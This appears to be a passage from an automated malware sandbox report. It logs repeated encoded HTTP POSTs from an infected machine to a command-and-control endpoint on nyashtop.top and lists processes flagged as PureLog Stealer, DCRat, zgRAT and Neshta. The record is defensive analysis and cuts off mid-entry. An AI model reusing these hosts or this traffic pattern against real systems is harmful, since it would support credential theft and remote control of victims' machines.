                                                                  Data Ascii: ZT^QTDTVZ]VVR^P[P^U[W_Z^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ , )62&(+:08:T0,>W$1&[?:$$W(Z<.'F!.\*9
                                                                  Jan 13, 2025 13:12:37.118860960 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:37.251193047 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:37 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  113192.168.2.45012137.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:37.385385036 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  114192.168.2.45012237.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:37.726569891 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1972
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:38.079730034 CET1972OUTData Raw: 5a 55 5b 5e 54 47 51 57 5a 5d 56 56 52 58 50 5a 50 59 55 5c 57 57 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZU[^TGQWZ]VVRXPZPYU\WWZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#[.#&!*^%3=\/X'*T$4>:'0&^+/010<.'F!.\*%
                                                                  Jan 13, 2025 13:12:38.374233007 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:38.509249926 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:38 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 22 0b 3e 1c 32 56 27 17 3f 0d 3b 3c 08 5a 2c 2f 2c 01 3d 54 20 18 29 04 3e 03 2d 2d 28 59 2b 3b 3f 01 2b 57 28 1e 24 18 09 0e 3e 39 2b 51 07 11 39 58 31 03 0c 14 3f 1d 36 5a 27 22 2d 1b 21 55 3c 5f 3f 17 25 08 30 2b 3c 53 3c 5e 3e 01 29 23 32 5b 25 5f 31 0b 2b 3c 2a 1c 3c 3d 2f 5e 08 12 26 0e 29 08 3e 09 25 1e 19 5b 22 06 28 17 3e 06 3d 16 36 3c 25 0a 3d 2a 29 5d 25 2e 17 11 24 2e 3a 59 31 0c 28 56 26 1c 25 5c 33 39 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: ">2V'?;<Z,/,=T )>--(Y+;?+W($>9+Q9X1?6Z'"-!U<_?%0+<S<^>)#2[%_1+<*<=/^&)>%["(>=6<%=*)]%.$.:Y1(V&%\39$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  115192.168.2.45012337.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:37.854310036 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:38.204791069 CET2580OUTData Raw: 5a 5d 5e 53 54 47 54 52 5a 5d 56 56 52 50 50 59 50 51 55 5a 57 51 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z]^STGTRZ]VVRPPYPQUZWQZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#];)Z52-&3*:$'%$.$)9,3!>)9?$W+(>'F!.\*
                                                                  Jan 13, 2025 13:12:38.492465019 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:38.628463984 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:38 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  116192.168.2.45012437.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:38.759500980 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:39.111857891 CET2580OUTData Raw: 5a 54 5b 5e 54 45 51 53 5a 5d 56 56 52 5c 50 5b 50 58 55 5f 57 54 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZT[^TEQSZ]VVR\P[PXU_WTZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ 8U% 1&X1#):+'6$(*) '2>_<)X$<>'F!.\*1
                                                                  Jan 13, 2025 13:12:39.416280985 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:39.551191092 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:39 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  117192.168.2.45012537.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:39.787142992 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:40.143129110 CET2580OUTData Raw: 5f 58 5b 52 51 44 54 52 5a 5d 56 56 52 50 50 5a 50 5d 55 55 57 52 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _X[RQDTRZ]VVRPPZP]UUWRZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#_.09!&_$0+A+)3X'&T'-<)*?$21+03??>'F!.\*
                                                                  Jan 13, 2025 13:12:40.433378935 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:40.610416889 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:40 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  118192.168.2.45012637.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:40.743789911 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:41.095400095 CET2580OUTData Raw: 5a 5e 5e 53 54 46 54 51 5a 5d 56 56 52 50 50 59 50 58 55 5f 57 56 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^^STFTQZ]VVRPPYPXU_WVZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,3!*Y&;)4$U$X8S(9#'!"+#37+>'F!.\*
                                                                  Jan 13, 2025 13:12:41.390487909 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:41.521409988 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:41 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  119192.168.2.45012737.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:41.647588968 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:42.001658916 CET2580OUTData Raw: 5a 59 5e 56 54 49 51 50 5a 5d 56 56 52 51 50 5f 50 51 55 5b 57 5f 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZY^VTIQPZ]VVRQP_PQU[W_ZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z.0)Z51&1 +9+^0(>%-<=*0T"[++0$^<'F!.\*
                                                                  Jan 13, 2025 13:12:42.300010920 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:42.431334019 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:42 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  120192.168.2.45012837.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:42.551781893 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:42.907888889 CET2580OUTData Raw: 5f 59 5b 51 51 42 54 57 5a 5d 56 56 52 50 50 5d 50 59 55 5e 57 54 5a 59 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Y[QQBTWZ]VVRPP]PYU^WTZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#],!!)&3+)#Y'(%'>#>8'T2[<* Z0++'F!.\*
                                                                  Jan 13, 2025 13:12:43.180342913 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:43.309500933 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:43 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  121192.168.2.45012937.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:43.599349022 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2576
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:43.954746962 CET2576OUTData Raw: 5a 5b 5e 52 54 40 54 56 5a 5d 56 56 52 58 50 52 50 51 55 5a 57 53 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[^RT@TVZ]VVRXPRPQUZWSZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ 8="&<+* %(53)\;$1.+,_0 +.'F!.\*
                                                                  Jan 13, 2025 13:12:44.247529030 CET25INHTTP/1.1 100 Continue


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  122192.168.2.45013037.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:43.599459887 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2000
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:43.954763889 CET2000OUTData Raw: 5a 5b 5b 50 51 42 54 52 5a 5d 56 56 52 5b 50 5a 50 59 55 5a 57 52 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[[PQBTRZ]VVR[PZPYUZWRZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z,U&!T"1/@+* 30.V**;$"<*,Z'1(.'F!.\*-
                                                                  Jan 13, 2025 13:12:44.227910995 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:44.357636929 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:44 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 22 0f 28 35 3d 0f 24 39 30 54 2f 3f 39 07 2d 12 01 59 3d 0b 38 5e 29 5c 22 04 2e 2d 3f 00 3f 2b 06 5d 3f 31 3b 0e 27 35 3b 0e 2a 03 2b 51 07 11 39 14 24 2e 26 14 3c 30 32 12 27 0c 22 41 20 23 05 04 28 17 0b 08 24 28 20 54 28 38 35 5c 2a 1d 2d 04 31 17 25 0b 29 3c 3a 1c 3f 17 2f 5e 08 12 25 57 29 21 31 56 26 0e 2b 5c 21 2f 0e 5d 2a 2c 39 55 22 3c 21 0d 2a 39 3d 5e 27 07 3d 58 33 07 25 00 26 31 28 52 26 0c 0f 5b 33 39 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: "(5=$90T/?9-Y=8^)\".-??+]?1;'5;*+Q9$.&<02'"A #($( T(85\*-1%)<:?/^%W)!1V&+\!/]*,9U"<!*9=^'=X3%&1(R&[39$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  123192.168.2.45013137.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:44.490181923 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:44.845513105 CET2580OUTData Raw: 5f 5a 5b 54 51 43 54 5d 5a 5d 56 56 52 59 50 53 50 5c 55 54 57 5e 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[TQCT]Z]VVRYPSP\UTW^ZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#8. ""1?B)\7'&$-8S=9<W'2X(9$(^+.'F!.\*%
                                                                  Jan 13, 2025 13:12:45.122466087 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:45.255012989 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:45 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  124192.168.2.45013237.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:45.382525921 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:45.736021042 CET2580OUTData Raw: 5a 58 5b 56 54 45 54 57 5a 5d 56 56 52 5c 50 58 50 59 55 54 57 54 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZX[VTETWZ]VVR\PXPYUTWTZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z,365$#/@>*3%'?=:(R'[?''(_+>'F!.\*1
                                                                  Jan 13, 2025 13:12:46.079688072 CET1236OUTData Raw: 5a 58 5b 56 54 45 54 57 5a 5d 56 56 52 5c 50 58 50 59 55 54 57 54 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZX[VTETWZ]VVR\PXPYUTWTZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z,365$#/@>*3%'?=:(R'[?''(_+>'F!.\*1
                                                                  Jan 13, 2025 13:12:46.545695066 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:46.545715094 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:46.545727015 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:46.926875114 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:47.103444099 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:46 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Statistics

                                                                  CPU Usage

                                                                  Click to jump to process

                                                                  Memory Usage

                                                                  Click to jump to process

                                                                  High Level Behavior Distribution

                                                                  Click to dive into process behavior distribution

                                                                  Behavior

                                                                  Click to jump to process

                                                                  System Behavior

                                                                  General

                                                                  Target ID:0
                                                                  Start time:07:10:02
                                                                  Start date:13/01/2025
                                                                  Path:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Users\user\Desktop\SearchIndexer.exe"
                                                                  Imagebase:0x400000
                                                                  File size:3'746'304 bytes
                                                                  MD5 hash:F2997DFB6F126670204C83344B678F0E
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1708339397.0000000002230000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: 00000000.00000002.2762934153.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                  Reputation:low
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:1
                                                                  Start time:07:10:02
                                                                  Start date:13/01/2025
                                                                  Path:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe"
                                                                  Imagebase:0xa60000
                                                                  File size:3'704'832 bytes
                                                                  MD5 hash:3E3FE7663181211E5983DA48431DDF33
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000001.00000000.1712832866.0000000000A62000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000001.00000002.2127156307.00000000132DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, Author: Joe Security
                                                                  Reputation:low
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:3
                                                                  Start time:07:10:09
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline"
                                                                  Imagebase:0x7ff673c90000
                                                                  File size:2'759'232 bytes
                                                                  MD5 hash:F65B029562077B648A6A5F6A1AA76A66
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:moderate
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:4
                                                                  Start time:07:10:09
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff7699e0000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:5
                                                                  Start time:07:10:11
                                                                  Start date:13/01/2025
                                                                  Path:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                  Wow64 process (32bit):false
